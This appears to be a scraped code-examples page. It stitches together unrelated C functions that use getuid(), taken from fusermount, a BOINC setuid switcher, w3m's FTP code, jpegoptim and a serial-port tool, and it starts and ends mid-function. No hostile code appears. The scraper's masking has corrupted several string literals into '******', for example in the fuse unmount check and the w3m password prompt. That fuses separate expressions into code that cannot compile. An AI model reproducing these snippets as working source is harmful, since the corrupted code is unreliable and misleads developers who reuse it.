      path[0] = '/';
      (void)strcpy(&path[1], pwd->pw_dir);
   }

   return(SUCCESS);
}
示例#17
0
/* if the port can't be opened, try to print as much info as
 * possible, so the problem can be resolved (usually permissions)
 */
static void report_open_error(const char *filename, int err)
{
	struct stat info;
	uid_t my_uid;
	gid_t my_gid;
	char my_uname[64], my_gname[64], file_uname[64], file_gname[64];
	struct passwd *p;
	struct group *g;
	mode_t perm;
	int r, perm_ok=0;

	printf("\r\n");
	printf("Unable to open \"%s\"\r\n", filename);
	if (err == EACCES) {
		printf("You don't have permission to access %s\r\n", filename);
	}
	//printf("Attemping to find more information about %s....\r\n", filename);
	r = stat(filename, &info);
	if (r < 0) {
		if (errno == ENOENT) {
			printf("file %s does not exist\r\n", filename);
		} else if (errno == ELOOP) {
			printf("too many symbolic links\r\n");
		} else if (errno == EACCES) {
			printf("permission denied to get file status\r\n");
		} else {
			printf("Unable to get file status, err%d\r\n", errno);
		}
		return;
	}
	my_uid = getuid();
	my_gid = getgid();

	p = getpwuid(my_uid);
	if (p) {
		snprintf(my_uname, sizeof(my_uname),
			"\"%s\" (gid=%d)", p->pw_name, (int)my_uid);
	} else {
		snprintf(my_uname, sizeof(my_uname),
			"(gid=%d)", (int)my_uid);
	}

	p = getpwuid(info.st_uid);
	if (p) {
		snprintf(file_uname, sizeof(file_uname),
			"\"%s\" (uid=%d)", p->pw_name, (int)info.st_uid);
	} else {
		snprintf(file_uname, sizeof(file_uname),
			"(uid=%d)", (int)info.st_uid);
	}

	g = getgrgid(my_gid);
	if (g) {
		snprintf(my_gname, sizeof(my_gname),
			"\"%s\" (gid=%d)", g->gr_name, (int)my_gid);
	} else {
		snprintf(my_gname, sizeof(my_gname),
			"(gid=%d)", (int)my_gid);
	}

	g = getgrgid(info.st_gid);
	if (g) {
		snprintf(file_gname, sizeof(file_gname),
			"\"%s\" (uid=%d)", g->gr_name, (int)info.st_gid);
	} else {
		snprintf(file_gname, sizeof(file_gname),
			"(uid=%d)", (int)info.st_gid);
	}

	/* printf("%s is owned by: user %s, group %s\r\n",
		filename, file_uname, file_gname); */

	perm = info.st_mode;

	if ((perm & S_IROTH) && (perm & S_IWOTH)) {
		printf("%s has read/write permission for everybody\r\n",
			filename);
	} else {
		printf("%s is not read/write for everybody, so\r\n", filename);
		printf("  you must match either user or group permission\r\n");
		if ((perm & S_IRUSR) && (perm & S_IWUSR)) {
			printf("%s has read/write permission for user %s\r\n",
				filename, file_uname);
			perm_ok = 1;
		}
		if ((perm & S_IRGRP) && (perm & S_IWGRP)) {
			printf("%s has read/write permission for group %s\r\n",
				filename, file_gname);
			perm_ok = 1;
		}
		if (perm_ok == 0) {
			printf("%s does not read/write permission for user or group!\r\n",
				filename);
		} else {
			printf("Your access privs: user %s, group %s\r\n",
				my_uname, my_gname);
		}
	}
	printf("\r\n");
}
示例#18
0
static int mount_fuse(const char *mnt, const char *opts)
{
	int res;
	int fd;
	char *dev;
	struct stat stbuf;
	char *type = NULL;
	char *source = NULL;
	char *mnt_opts = NULL;
	const char *real_mnt = mnt;
	int mountpoint_fd = -1;

	fd = open_fuse_device(&dev);
	if (fd == -1)
		return -1;

	drop_privs();
	read_conf();

	if (getuid() != 0 && mount_max != -1) {
		int mount_count = count_fuse_fs();
		if (mount_count >= mount_max) {
			fprintf(stderr, "%s: too many FUSE filesystems mounted; mount_max=N can be set in /etc/fuse.conf\n", progname);
			goto fail_close_fd;
		}
	}

	res = check_version(dev);
	if (res != -1) {
		res = check_perm(&real_mnt, &stbuf, &mountpoint_fd);
		restore_privs();
		if (res != -1)
			res = do_mount(real_mnt, &type, stbuf.st_mode & S_IFMT,
				       fd, opts, dev, &source, &mnt_opts,
				       stbuf.st_size);
	} else
		restore_privs();

	if (mountpoint_fd != -1)
		close(mountpoint_fd);

	if (res == -1)
		goto fail_close_fd;

	res = chdir("/");
	if (res == -1) {
		fprintf(stderr, "%s: failed to chdir to '/'\n", progname);
		goto fail_close_fd;
	}

	if (geteuid() == 0) {
		res = add_mount(source, mnt, type, mnt_opts);
		if (res == -1) {
			/* Can't clean up mount in a non-racy way */
			goto fail_close_fd;
		}
	}

out_free:
	free(source);
	free(type);
	free(mnt_opts);
	free(dev);

	return fd;

fail_close_fd:
	close(fd);
	fd = -1;
	goto out_free;
}
示例#19
0
int main(int argc, char** argv) {
    passwd      *pw;
    group       *grp;
    char        user_name[256], group_name[256];
    char	gfx_app_path[MAXPATHLEN], resolved_path[MAXPATHLEN];
    char        *BOINCDatSlotsPath = "/Library/Application Support/Synecdoche Data/slots/";
    int         retval;
    int         pid;

    strlcpy(user_name, "boinc_project", sizeof(user_name));
    strlcpy(group_name, "boinc_project", sizeof(group_name));

#if 0       // For debugging only
    // Allow debugging without running as user or group boinc_project
    pw = getpwuid(getuid());
    if (pw) strlcpy(user_name, pw->pw_name, sizeof(user_name));
    grp = getgrgid(getgid());
    if (grp) strlcpy(group_name, grp->gr_gid, sizeof(group_name));

#endif

    // We are running setuid root, so setgid() sets real group ID, 
    // effective group ID and saved set_group-ID for this process
    grp = getgrnam(group_name);
    if (grp) setgid(grp->gr_gid);

    // We are running setuid root, so setuid() sets real user ID, 
    // effective user ID and saved set_user-ID for this process
    pw = getpwnam(user_name);
    if (pw) setuid(pw->pw_uid);

    // NOTE: call print_to_log_file only after switching user and group
#if 0           // For debugging only
    char	current_dir[MAXPATHLEN];

    getcwd( current_dir, sizeof(current_dir));
    print_to_log_file( "current directory = %s", current_dir);
    
    for (int i=0; i<argc; i++) {
         print_to_log_file("switcher arg %d: %s\n", i, argv[i]);
    }
#endif

    if (argc < 2) return EINVAL;
    
    if (strcmp(argv[1], "-launch_gfx") == 0) {
        strlcpy(gfx_app_path, BOINCDatSlotsPath, sizeof(gfx_app_path));
        strlcat(gfx_app_path, argv[2], sizeof(gfx_app_path));
        strlcat(gfx_app_path, "/", sizeof(gfx_app_path));
        strlcat(gfx_app_path, GRAPHICS_APP_FILENAME, sizeof(gfx_app_path));
        retval = boinc_resolve_filename(gfx_app_path, resolved_path, sizeof(resolved_path));
        if (retval) return retval;
        
        argv[2] = resolved_path;
        
#if 0           // For debugging only
    for (int i=2; i<argc; i++) {
         print_to_log_file("calling execv with arg %d: %s\n", i-2, argv[i]);
    }
#endif

        // For unknown reasons, the graphics application exits with 
        // "RegisterProcess failed (error = -50)" unless we pass its 
        // full path twice in the argument list to execv.
        execv(resolved_path, argv+2);
        // If we got here execv failed
        fprintf(stderr, "Process creation (%s) failed: errno=%d\n", resolved_path, errno);
        return errno;
    }

    if (strcmp(argv[1], "-kill_gfx") == 0) {
        pid = atoi(argv[2]);
        if (! pid) return EINVAL;
        if ( kill(pid, SIGKILL)) return errno;
        return 0;
    }
    
    return EINVAL;  // Unknown command
}
示例#20
0
static int may_unmount(const char *mnt, int quiet)
{
	struct mntent *entp;
	FILE *fp;
	const char *user = NULL;
	char uidstr[32];
	unsigned uidlen = 0;
	int found;
	const char *mtab = _PATH_MOUNTED;

	user = get_user_name();
	if (user == NULL)
		return -1;

	fp = setmntent(mtab, "r");
	if (fp == NULL) {
		fprintf(stderr, "%s: failed to open %s: %s\n", progname, mtab,
			strerror(errno));
		return -1;
	}

	uidlen = sprintf(uidstr, "%u", getuid());

	found = 0;
	while ((entp = getmntent(fp)) != NULL) {
		if (!found && strcmp(entp->mnt_dir, mnt) == 0 &&
		    (strcmp(entp->mnt_type, "fuse") == 0 ||
		     strcmp(entp->mnt_type, "fuseblk") == 0 ||
		     strncmp(entp->mnt_type, "fuse.", 5) == 0 ||
		     strncmp(entp->mnt_type, "fuseblk.", 8) == 0)) {
			char *p = strstr(entp->mnt_opts, "user="******"user_id=")) &&
				 (p == entp->mnt_opts ||
				  *(p-1) == ',') &&
				 strncmp(p + 8, uidstr, uidlen) == 0 &&
				 (*(p+8+uidlen) == ',' ||
				  *(p+8+uidlen) == '\0')) {
				found = 1;
				break;
			}
		}
	}
	endmntent(fp);

	if (!found) {
		if (!quiet)
			fprintf(stderr,
				"%s: entry for %s not found in %s\n",
				progname, mnt, mtab);
		return -1;
	}

	return 0;
}
示例#21
0
文件: ftp.c 项目: galexcode/w3m
InputStream
openFTPStream(ParsedURL *pu, URLFile *uf)
{
    Str tmp;
    int status;
    char *user = NULL;
    char *pass = NULL;
    Str uname = NULL;
    Str pwd = NULL;
    int add_auth_cookie_flag = FALSE;
    char *realpathname = NULL;

    if (!pu->host)
	return NULL;

    if (pu->user == NULL && pu->pass == NULL) {
	if (find_auth_user_passwd(pu, NULL, &uname, &pwd, 0)) {
	    if (uname)
		user = uname->ptr;
	    if (pwd)
		pass = pwd->ptr;
	}
    }
    if (user)
	/* do nothing */ ;
    else if (pu->user)
	user = pu->user;
    else
	user = "******";

    if (current_ftp.host) {
	if (!strcmp(current_ftp.host, pu->host) &&
	    current_ftp.port == pu->port && !strcmp(current_ftp.user, user)) {
	    ftp_command(&current_ftp, "NOOP", NULL, &status);
	    if (status != 200)
		ftp_close(&current_ftp);
	    else
		goto ftp_read;
	}
	else
	    ftp_quit(&current_ftp);
    }

    if (pass)
	/* do nothing */ ;
    else if (pu->pass)
	pass = pu->pass;
    else if (pu->user) {
	pwd = NULL;
	find_auth_user_passwd(pu, NULL, &uname, &pwd, 0);
	if (pwd == NULL) {
	    if (fmInitialized) {
		term_raw();
		pwd = Strnew_charp(inputLine("Password: "******"Password: "******"Password: "******"anonymous");
#else
	tmp = Strnew_charp("anonymous");
#endif /* __MINGW32_VERSION */
	Strcat_char(tmp, '@');
	pass = tmp->ptr;
    }

    if (!current_ftp.host) {
	current_ftp.host = allocStr(pu->host, -1);
	current_ftp.port = pu->port;
	current_ftp.user = allocStr(user, -1);
	current_ftp.pass = allocStr(pass, -1);
	if (!ftp_login(&current_ftp))
	    return NULL;
    }
    if (add_auth_cookie_flag)
	add_auth_user_passwd(pu, NULL, uname, pwd, 0);

  ftp_read:
    ftp_command(&current_ftp, "TYPE", "I", &status);
    if (ftp_pasv(&current_ftp) < 0) {
	ftp_quit(&current_ftp);
	return NULL;
    }
    if (pu->file == NULL || *pu->file == '\0' ||
	pu->file[strlen(pu->file) - 1] == '/')
	goto ftp_dir;

    realpathname = file_unquote(pu->file);
    if (*realpathname == '/' && *(realpathname + 1) == '~')
	realpathname++;
    /* Get file */
    uf->modtime = ftp_modtime(&current_ftp, realpathname);
    ftp_command(&current_ftp, "RETR", realpathname, &status);
    if (status == 125 || status == 150)
	return newFileStream(current_ftp.data, (void (*)())closeFTPdata);

  ftp_dir:
    pu->scheme = SCM_FTPDIR;
    return NULL;
}
示例#22
0
static int do_mount(const char *mnt, char **typep, mode_t rootmode,
		    int fd, const char *opts, const char *dev, char **sourcep,
		    char **mnt_optsp, off_t rootsize)
{
	int res;
	int flags = MS_NOSUID | MS_NODEV;
	char *optbuf;
	char *mnt_opts = NULL;
	const char *s;
	char *d;
	char *fsname = NULL;
	char *subtype = NULL;
	char *source = NULL;
	char *type = NULL;
	int check_empty = 1;
	int blkdev = 0;

	optbuf = (char *) malloc(strlen(opts) + 128);
	if (!optbuf) {
		fprintf(stderr, "%s: failed to allocate memory\n", progname);
		return -1;
	}

	for (s = opts, d = optbuf; *s;) {
		unsigned len;
		const char *fsname_str = "fsname=";
		const char *subtype_str = "subtype=";
		for (len = 0; s[len]; len++) {
			if (s[len] == '\\' && s[len + 1])
				len++;
			else if (s[len] == ',')
				break;
		}
		if (begins_with(s, fsname_str)) {
			if (!get_string_opt(s, len, fsname_str, &fsname))
				goto err;
		} else if (begins_with(s, subtype_str)) {
			if (!get_string_opt(s, len, subtype_str, &subtype))
				goto err;
		} else if (opt_eq(s, len, "blkdev")) {
			if (getuid() != 0) {
				fprintf(stderr,
					"%s: option blkdev is privileged\n",
					progname);
				goto err;
			}
			blkdev = 1;
		} else if (opt_eq(s, len, "nonempty")) {
			check_empty = 0;
		} else if (opt_eq(s, len, "auto_unmount")) {
			auto_unmount = 1;
		} else if (!begins_with(s, "fd=") &&
			   !begins_with(s, "rootmode=") &&
			   !begins_with(s, "user_id=") &&
			   !begins_with(s, "group_id=")) {
			int on;
			int flag;
			int skip_option = 0;
			if (opt_eq(s, len, "large_read")) {
				struct utsname utsname;
				unsigned kmaj, kmin;
				res = uname(&utsname);
				if (res == 0 &&
				    sscanf(utsname.release, "%u.%u",
					   &kmaj, &kmin) == 2 &&
				    (kmaj > 2 || (kmaj == 2 && kmin > 4))) {
					fprintf(stderr, "%s: note: 'large_read' mount option is deprecated for %i.%i kernels\n", progname, kmaj, kmin);
					skip_option = 1;
				}
			}
			if (getuid() != 0 && !user_allow_other &&
			    (opt_eq(s, len, "allow_other") ||
			     opt_eq(s, len, "allow_root"))) {
				fprintf(stderr, "%s: option %.*s only allowed if 'user_allow_other' is set in /etc/fuse.conf\n", progname, len, s);
				goto err;
			}
			if (!skip_option) {
				if (find_mount_flag(s, len, &on, &flag)) {
					if (on)
						flags |= flag;
					else
						flags  &= ~flag;
				} else {
					memcpy(d, s, len);
					d += len;
					*d++ = ',';
				}
			}
		}
		s += len;
		if (*s)
			s++;
	}
	*d = '\0';
	res = get_mnt_opts(flags, optbuf, &mnt_opts);
	if (res == -1)
		goto err;

	sprintf(d, "fd=%i,rootmode=%o,user_id=%u,group_id=%u",
		fd, rootmode, getuid(), getgid());

	if (check_empty &&
	    fuse_mnt_check_empty(progname, mnt, rootmode, rootsize) == -1)
		goto err;

	source = malloc((fsname ? strlen(fsname) : 0) +
			(subtype ? strlen(subtype) : 0) + strlen(dev) + 32);

	type = malloc((subtype ? strlen(subtype) : 0) + 32);
	if (!type || !source) {
		fprintf(stderr, "%s: failed to allocate memory\n", progname);
		goto err;
	}

	if (subtype)
		sprintf(type, "%s.%s", blkdev ? "fuseblk" : "fuse", subtype);
	else
		strcpy(type, blkdev ? "fuseblk" : "fuse");

	if (fsname)
		strcpy(source, fsname);
	else
		strcpy(source, subtype ? subtype : dev);

	res = mount(source, mnt, type, flags, optbuf);
	if (res == -1 && errno == ENODEV && subtype) {
		/* Probably missing subtype support */
		strcpy(type, blkdev ? "fuseblk" : "fuse");
		if (fsname) {
			if (!blkdev)
				sprintf(source, "%s#%s", subtype, fsname);
		} else {
			strcpy(source, type);
		}

		res = mount(source, mnt, type, flags, optbuf);
	}
	if (res == -1 && errno == EINVAL) {
		/* It could be an old version not supporting group_id */
		sprintf(d, "fd=%i,rootmode=%o,user_id=%u",
			fd, rootmode, getuid());
		res = mount(source, mnt, type, flags, optbuf);
	}
	if (res == -1) {
		int errno_save = errno;
		if (blkdev && errno == ENODEV && !fuse_mnt_check_fuseblk())
			fprintf(stderr, "%s: 'fuseblk' support missing\n",
				progname);
		else
			fprintf(stderr, "%s: mount failed: %s\n", progname,
				strerror(errno_save));
		goto err;
	}
	*sourcep = source;
	*typep = type;
	*mnt_optsp = mnt_opts;
	free(fsname);
	free(optbuf);

	return 0;

err:
	free(fsname);
	free(subtype);
	free(source);
	free(type);
	free(mnt_opts);
	free(optbuf);
	return -1;
}
示例#23
0
int main(int argc, char **argv) 
{
  struct jpeg_decompress_struct dinfo;
  struct jpeg_compress_struct cinfo;
  struct my_error_mgr jcerr,jderr;
  JSAMPARRAY buf = NULL;
  jvirt_barray_ptr *coef_arrays = NULL;
  char marker_str[256];
  char tmpfilename[MAXPATHLEN],tmpdir[MAXPATHLEN];
  char newname[MAXPATHLEN], dest_path[MAXPATHLEN];
  volatile int i;
  int c,j, tmpfd, searchcount, searchdone;
  int opt_index = 0;
  long insize = 0, outsize = 0, lastsize = 0;
  int oldquality;
  double ratio;
  struct stat file_stat;
  jpeg_saved_marker_ptr cmarker; 
  unsigned char *outbuffer = NULL;
  size_t outbuffersize;
  char *outfname = NULL;
  FILE *infile = NULL, *outfile = NULL;
  int marker_in_count, marker_in_size;
  int compress_err_count = 0;
  int decompress_err_count = 0;
  long average_count = 0;
  double average_rate = 0.0, total_save = 0.0;


  if (rcsid)
  ; /* so compiler won't complain about "unused" rcsid string */

  umask(077);
  signal(SIGINT,own_signal_handler);
  signal(SIGTERM,own_signal_handler);

  /* initialize decompression object */
  dinfo.err = jpeg_std_error(&jderr.pub);
  jpeg_create_decompress(&dinfo);
  jderr.pub.error_exit=my_error_exit;
  jderr.pub.output_message=my_output_message;
  jderr.jump_set = 0;

  /* initialize compression object */
  cinfo.err = jpeg_std_error(&jcerr.pub);
  jpeg_create_compress(&cinfo);
  jcerr.pub.error_exit=my_error_exit;
  jcerr.pub.output_message=my_output_message;
  jcerr.jump_set = 0;


  if (argc<2) {
    if (!quiet_mode) fprintf(stderr,PROGRAMNAME ": file arguments missing\n"
			     "Try '" PROGRAMNAME " --help' for more information.\n");
    exit(1);
  }
 
  /* parse command line parameters */
  while(1) {
    opt_index=0;
    if ((c=getopt_long(argc,argv,"d:hm:nstqvfVpPoT:S:b",long_options,&opt_index))
	      == -1) 
      break;

    switch (c) {
    case 'm':
      {
        int tmpvar;

        if (sscanf(optarg,"%d",&tmpvar) == 1) {
	  quality=tmpvar;
	  if (quality < 0) quality=0;
	  if (quality > 100) quality=100;
	}
	else 
	  fatal("invalid argument for -m, --max");
      }
      break;
    case 'd':
      if (realpath(optarg,dest_path)==NULL || !is_directory(dest_path)) {
	fatal("invalid argument for option -d, --dest");
      }
      strncat(dest_path,DIR_SEPARATOR_S,sizeof(dest_path)-strlen(dest_path)-1);

      if (verbose_mode) 
	fprintf(stderr,"Destination directory: %s\n",dest_path);
      dest=1;
      break;
    case 'v':
      verbose_mode++;
      break;
    case 'h':
      print_usage();
      exit(0);
      break;
    case 'q':
      quiet_mode=1;
      break;
    case 't':
      totals_mode=1;
      break;
    case 'n':
      noaction=1;
      break;
    case 'f':
      force=1;
      break;
    case 'b':
      csv=1;
      quiet_mode=1;
      break;
    case '?':
      break;
    case 'V':
      print_version();
      exit(0);
      break;
    case 'o':
      overwrite_mode=1;
      break;
    case 'p':
      preserve_mode=1;
      break;
    case 'P':
      preserve_perms=1;
      break;
    case 's':
      save_exif=0;
      save_iptc=0;
      save_com=0;
      save_icc=0;
      save_xmp=0;
      break;
    case 'T':
      {
	int tmpvar;
	if (sscanf(optarg,"%d",&tmpvar) == 1) {
	  threshold=tmpvar;
	  if (threshold < 0) threshold=0;
	  if (threshold > 100) threshold=100;
	}
	else fatal("invalid argument for -T, --threshold");
      }
      break;
    case 'S':
      {
	unsigned int tmpvar;
	if (sscanf(optarg,"%u",&tmpvar) == 1) {
	  if (tmpvar > 0 && tmpvar < 100 && optarg[strlen(optarg)-1] == '%' ) {
	    target_size=-tmpvar;
	  } else {
	    target_size=tmpvar;
	  }
	  quality=100;
	}
	else fatal("invalid argument for -S, --size");
      }
      break;

    }
  }


  /* check for '-' option indicating input is from stdin... */
  i=1;
  while (argv[i]) {
    if (argv[i][0]=='-' && argv[i][1]==0) stdin_mode=1;
    i++;
  }

  if (stdin_mode) { stdout_mode=1; force=1; }
  if (stdout_mode) { logs_to_stdout=0; }

  if (all_normal && all_progressive)
    fatal("cannot specify both --all-normal and --all-progressive"); 

  if (verbose_mode) {
    if (quality>=0 && target_size==0) 
      fprintf(stderr,"Image quality limit set to: %d\n",quality);
    if (threshold>=0) 
      fprintf(stderr,"Compression threshold (%%) set to: %d\n",threshold);
    if (all_normal) 
      fprintf(stderr,"All output files will be non-progressive\n");
    if (all_progressive) 
      fprintf(stderr,"All output files will be progressive\n");
    if (target_size > 0) 
      fprintf(stderr,"Target size for output files set to: %u Kbytes.\n",
	      target_size);
    if (target_size < 0) 
      fprintf(stderr,"Target size for output files set to: %u%%\n",
	      -target_size);
  }


  /* loop to process the input files */
  i=1;  
  do {
    if (stdin_mode) {
      infile=stdin;
    } else {
      if (!argv[i][0]) continue;
      if (argv[i][0]=='-') continue;
      if (strlen(argv[i]) >= MAXPATHLEN) {
	warn("skipping too long filename: %s",argv[i]);
	continue;
      }

      if (!noaction) {
	/* generate tmp dir & new filename */
	if (dest) {
	  STRNCPY(tmpdir,dest_path,sizeof(tmpdir));
	  STRNCPY(newname,dest_path,sizeof(newname));
	  if (!splitname(argv[i],tmpfilename,sizeof(tmpfilename)))
	    fatal("splitname() failed for: %s",argv[i]);
	  strncat(newname,tmpfilename,sizeof(newname)-strlen(newname)-1);
	} else {
	  if (!splitdir(argv[i],tmpdir,sizeof(tmpdir))) 
	    fatal("splitdir() failed for: %s",argv[i]);
	  STRNCPY(newname,argv[i],sizeof(newname));
	}
      }
      
    retry_point:
      
      if (!is_file(argv[i],&file_stat)) {
	if (is_directory(argv[i])) 
	  warn("skipping directory: %s",argv[i]);
	else
	  warn("skipping special file: %s",argv[i]); 
	continue;
      }
      if ((infile=fopen(argv[i],"rb"))==NULL) {
	warn("cannot open file: %s", argv[i]);
	continue;
      }
    }

   if (setjmp(jderr.setjmp_buffer)) {
     /* error handler for decompress */
     jpeg_abort_decompress(&dinfo);
     fclose(infile);
     if (buf) FREE_LINE_BUF(buf,dinfo.output_height);
     if (!quiet_mode || csv) 
       fprintf(LOG_FH,csv ? ",,,,,error\n" : " [ERROR]\n");
     decompress_err_count++;
     jderr.jump_set=0;
     continue;
   } else {
     jderr.jump_set=1;
   }

   if (!retry && (!quiet_mode || csv)) {
     fprintf(LOG_FH,csv ? "%s," : "%s ",(stdin_mode?"stdin":argv[i])); fflush(LOG_FH); 
   }

   /* prepare to decompress */
   global_error_counter=0;
   jpeg_save_markers(&dinfo, JPEG_COM, 0xffff);
   for (j=0;j<=15;j++) 
     jpeg_save_markers(&dinfo, JPEG_APP0+j, 0xffff);
   jpeg_stdio_src(&dinfo, infile);
   jpeg_read_header(&dinfo, TRUE); 

   /* check for Exif/IPTC/ICC/XMP markers */
   marker_str[0]=0;
   marker_in_count=0;
   marker_in_size=0;
   cmarker=dinfo.marker_list;

   while (cmarker) {
     marker_in_count++;
     marker_in_size+=cmarker->data_length;

     if (cmarker->marker == EXIF_JPEG_MARKER &&
	 !memcmp(cmarker->data,EXIF_IDENT_STRING,EXIF_IDENT_STRING_SIZE))
       strncat(marker_str,"Exif ",sizeof(marker_str)-strlen(marker_str)-1);

     if (cmarker->marker == IPTC_JPEG_MARKER)
       strncat(marker_str,"IPTC ",sizeof(marker_str)-strlen(marker_str)-1);

     if (cmarker->marker == ICC_JPEG_MARKER &&
	 !memcmp(cmarker->data,ICC_IDENT_STRING,ICC_IDENT_STRING_SIZE))
       strncat(marker_str,"ICC ",sizeof(marker_str)-strlen(marker_str)-1);

     if (cmarker->marker == XMP_JPEG_MARKER &&
	 !memcmp(cmarker->data,XMP_IDENT_STRING,XMP_IDENT_STRING_SIZE)) 
       strncat(marker_str,"XMP ",sizeof(marker_str)-strlen(marker_str)-1);

     cmarker=cmarker->next;
   }


   if (verbose_mode > 1) 
     fprintf(LOG_FH,"%d markers found in input file (total size %d bytes)\n",
	     marker_in_count,marker_in_size);
   if (!retry && (!quiet_mode || csv)) {
     fprintf(LOG_FH,csv ? "%dx%d,%dbit,%c," : "%dx%d %dbit %c ",(int)dinfo.image_width,
	     (int)dinfo.image_height,(int)dinfo.num_components*8,
	     (dinfo.progressive_mode?'P':'N'));

     if (!csv) {
       fprintf(LOG_FH,"%s",marker_str);
       if (dinfo.saw_Adobe_marker) fprintf(LOG_FH,"Adobe ");
       if (dinfo.saw_JFIF_marker) fprintf(LOG_FH,"JFIF ");
     }
     fflush(LOG_FH);
   }

   if ((insize=file_size(infile)) < 0)
     fatal("failed to stat() input file");

  /* decompress the file */
   if (quality>=0 && !retry) {
     jpeg_start_decompress(&dinfo);

     /* allocate line buffer to store the decompressed image */
     buf = malloc(sizeof(JSAMPROW)*dinfo.output_height);
     if (!buf) fatal("not enough memory");
     for (j=0;j<dinfo.output_height;j++) {
       buf[j]=malloc(sizeof(JSAMPLE)*dinfo.output_width*
		     dinfo.out_color_components);
       if (!buf[j]) fatal("not enough memory");
     }

     while (dinfo.output_scanline < dinfo.output_height) {
       jpeg_read_scanlines(&dinfo,&buf[dinfo.output_scanline],
			   dinfo.output_height-dinfo.output_scanline);
     }
   } else {
     coef_arrays = jpeg_read_coefficients(&dinfo);
   }

   if (!retry && !quiet_mode) {
     if (global_error_counter==0) fprintf(LOG_FH," [OK] ");
     else fprintf(LOG_FH," [WARNING] ");
     fflush(LOG_FH);
   }

   fclose(infile);
   infile=NULL;
     

   if (dest && !noaction) {
     if (file_exists(newname) && !overwrite_mode) {
       warn("target file already exists: %s\n",newname);
       jpeg_abort_decompress(&dinfo);
       if (buf) FREE_LINE_BUF(buf,dinfo.output_height);
       continue;
     }
   }


   if (setjmp(jcerr.setjmp_buffer)) {
     /* error handler for compress failures */
     
     jpeg_abort_compress(&cinfo);
     jpeg_abort_decompress(&dinfo);
     if (!quiet_mode) fprintf(LOG_FH," [Compress ERROR]\n");
     if (buf) FREE_LINE_BUF(buf,dinfo.output_height);
     compress_err_count++;
     jcerr.jump_set=0;
     continue;
   } else {
     jcerr.jump_set=1;
   }


   lastsize = 0;
   searchcount = 0;
   searchdone = 0;
   oldquality = 200;



  binary_search_loop:

   /* allocate memory buffer that should be large enough to store the output JPEG... */
   if (outbuffer) free(outbuffer);
   outbuffersize=insize + 32768;
   outbuffer=malloc(outbuffersize);
   if (!outbuffer) fatal("not enough memory");

   /* setup custom "destination manager" for libjpeg to write to our buffer */
   jpeg_memory_dest(&cinfo, &outbuffer, &outbuffersize, 65536);

   if (quality>=0 && !retry) {
     /* lossy "optimization" ... */

     cinfo.in_color_space=dinfo.out_color_space;
     cinfo.input_components=dinfo.output_components;
     cinfo.image_width=dinfo.image_width;
     cinfo.image_height=dinfo.image_height;
     jpeg_set_defaults(&cinfo); 
     jpeg_set_quality(&cinfo,quality,TRUE);
     if ( (dinfo.progressive_mode || all_progressive) && !all_normal )
       jpeg_simple_progression(&cinfo);
     cinfo.optimize_coding = TRUE;

     j=0;
     jpeg_start_compress(&cinfo,TRUE);
     
     /* write markers */
     write_markers(&dinfo,&cinfo);

     /* write image */
     while (cinfo.next_scanline < cinfo.image_height) {
       jpeg_write_scanlines(&cinfo,&buf[cinfo.next_scanline],
			    dinfo.output_height);
     }

   } else {
     /* lossless "optimization" ... */

     jpeg_copy_critical_parameters(&dinfo, &cinfo);
     if ( (dinfo.progressive_mode || all_progressive) && !all_normal )
       jpeg_simple_progression(&cinfo);
     cinfo.optimize_coding = TRUE;

     /* write image */
     jpeg_write_coefficients(&cinfo, coef_arrays);

     /* write markers */
     write_markers(&dinfo,&cinfo);

   }

   jpeg_finish_compress(&cinfo);
   outsize=outbuffersize;

   if (target_size != 0 && !retry) {
     /* perform (binary) search to try to reach target file size... */

     long osize = outsize/1024;
     long isize = insize/1024;
     long tsize = target_size;

     if (tsize < 0) { 
       tsize=((-target_size)*insize/100)/1024; 
       if (tsize < 1) tsize=1;
     }

     if (osize == tsize || searchdone || searchcount >= 8 || tsize > isize) {
       if (searchdone < 42 && lastsize > 0) {
	 if (abs(osize-tsize) > abs(lastsize-tsize)) {
	   if (verbose_mode) fprintf(LOG_FH,"(revert to %d)",oldquality);
	   searchdone=42;
	   quality=oldquality;
	   goto binary_search_loop;
	 }
       }
       if (verbose_mode) fprintf(LOG_FH," ");
       
     } else {
       int newquality;
       int dif = round(abs(oldquality-quality)/2.0);
       if (osize > tsize) {
	 newquality=quality-dif;
	 if (dif < 1) { newquality--; searchdone=1; }
	 if (newquality < 0) { newquality=0; searchdone=2; }
       } else {
	 newquality=quality+dif;
	 if (dif < 1) { newquality++; searchdone=3; }
	 if (newquality > 100) { newquality=100; searchdone=4; }
       }
       oldquality=quality;
       quality=newquality;

       if (verbose_mode) fprintf(LOG_FH,"(try %d)",quality);

       lastsize=osize;
       searchcount++;
       goto binary_search_loop;
     }
   } 

   if (buf) FREE_LINE_BUF(buf,dinfo.output_height);
   jpeg_finish_decompress(&dinfo);


   if (quality>=0 && outsize>=insize && !retry && !stdin_mode) {
     if (verbose_mode) fprintf(LOG_FH,"(retry w/lossless) ");
     retry=1;
     goto retry_point; 
   }

   retry=0;
   ratio=(insize-outsize)*100.0/insize;
   if (!quiet_mode || csv)
     fprintf(LOG_FH,csv ? "%ld,%ld,%0.2f," : "%ld --> %ld bytes (%0.2f%%), ",insize,outsize,ratio);
   average_count++;
   average_rate+=(ratio<0 ? 0.0 : ratio);

   if ((outsize < insize && ratio >= threshold) || force) {
        total_save+=(insize-outsize)/1024.0;
	if (!quiet_mode || csv) fprintf(LOG_FH,csv ? "optimized\n" : "optimized.\n");
        if (noaction) continue;

	if (stdout_mode) {
	  outfname=NULL;
	  if (fwrite(outbuffer,outbuffersize,1,stdout) != 1)
	    fatal("write failed to stdout");
	} else {
	  if (preserve_perms && !dest) {
	    /* make backup of the original file */
	    snprintf(tmpfilename,sizeof(tmpfilename),"%s.jpegoptim.bak",newname);
	    if (verbose_mode > 1 && !quiet_mode) 
	      fprintf(LOG_FH,"creating backup of original image as: %s\n",tmpfilename);
	    if (file_exists(tmpfilename))
	      fatal("backup file already exists: %s",tmpfilename);
	    if (copy_file(newname,tmpfilename))
	      fatal("failed to create backup of original file");
	    if ((outfile=fopen(newname,"wb"))==NULL)
	      fatal("error opening output file: %s", newname);
	    outfname=newname;
	  } else {
#ifdef HAVE_MKSTEMPS
	    /* rely on mkstemps() to create us temporary file safely... */  
	    snprintf(tmpfilename,sizeof(tmpfilename),
		     "%sjpegoptim-%d-%d.XXXXXX.tmp", tmpdir, (int)getuid(), (int)getpid());
	    if ((tmpfd = mkstemps(tmpfilename,4)) < 0) 
	      fatal("error creating temp file: mkstemps() failed");
	    if ((outfile=fdopen(tmpfd,"wb"))==NULL) 
#else
	      /* if platform is missing mkstemps(), try to create at least somewhat "safe" temp file... */  
	      snprintf(tmpfilename,sizeof(tmpfilename),
